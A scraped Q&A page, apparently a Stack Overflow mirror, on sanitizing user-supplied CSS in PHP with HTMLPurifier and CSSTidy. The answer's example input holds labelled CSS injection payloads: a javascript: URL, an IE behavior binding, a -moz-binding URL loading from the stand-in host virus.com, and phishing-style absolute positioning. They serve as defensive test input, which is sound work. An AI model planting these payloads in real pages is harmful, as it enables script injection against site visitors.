Sanitize user defined CSS in PHP

前端 未结 4 1824
长发绾君心
长发绾君心 2020-12-08 08:23

I want to allow users to use their own stylesheets for thei profiles on my forum, but I\'m afraid of possible security vulnerabilities. Does anyone have any tips for sanitiz

4条回答
  •  暖寄归人
    2020-12-08 09:03

    HTMLPurifier with CSSTidy does what you're looking for.

    HTMLPurifier is primarily designed for sanitizing HTML, but also has an option to extract style blocks with CSSTidy.

    There's an example in the HTMLPurifier docs (but alas, I've used up my two links per post.)

    Here's another:

    require_once './htmlpurifier/library/HTMLPurifier.auto.php';
    require_once './csstidy/class.csstidy.php';
    
    // define some css
    $input_css = "
        body {
            margin: 0px;
            padding: 0px;
            /* JS injection */
            background-image: url(javascript:alert('Injected'));
        }
        a {
            color: #ccc;
            text-decoration: none;
            /* dangerous proprietary IE attribute */
            behavior:url(hilite.htc);
            /* dangerous proprietary FF attribute */
            -moz-binding: url('http://virus.com/htmlBindings.xml');
        }
        .banner {
            /* absolute position can be used for phishing */
            position: absolute;
            top: 0px;
            left: 0px;
        }
    ";
    
    // Create a new configuration object
    $config = HTMLPurifier_Config::createDefault();
    $config->set('Filter.ExtractStyleBlocks', TRUE);
    
    // Create a new purifier instance
    $purifier = new HTMLPurifier($config);
    
    // Turn off strict warnings (CSSTidy throws some warnings on PHP 5.2+)
    $level = error_reporting(E_ALL & ~E_STRICT);
    
    // Wrap our CSS in style tags and pass to purifier. 
    // we're not actually interested in the html response though
    $html = $purifier->purify('');
    
    // Revert error reporting
    error_reporting($level);
    
    // The "style" blocks are stored seperately
    $output_css = $purifier->context->get('StyleBlocks');
    
    // Get the first style block
    echo $output_css[0];
    

    And the output is:

    body {
        margin:0;
        padding:0;
    }
    
    a {
        color:#ccc;
        text-decoration:none;
    }
    
    .banner {
    }
    

提交回复
热议问题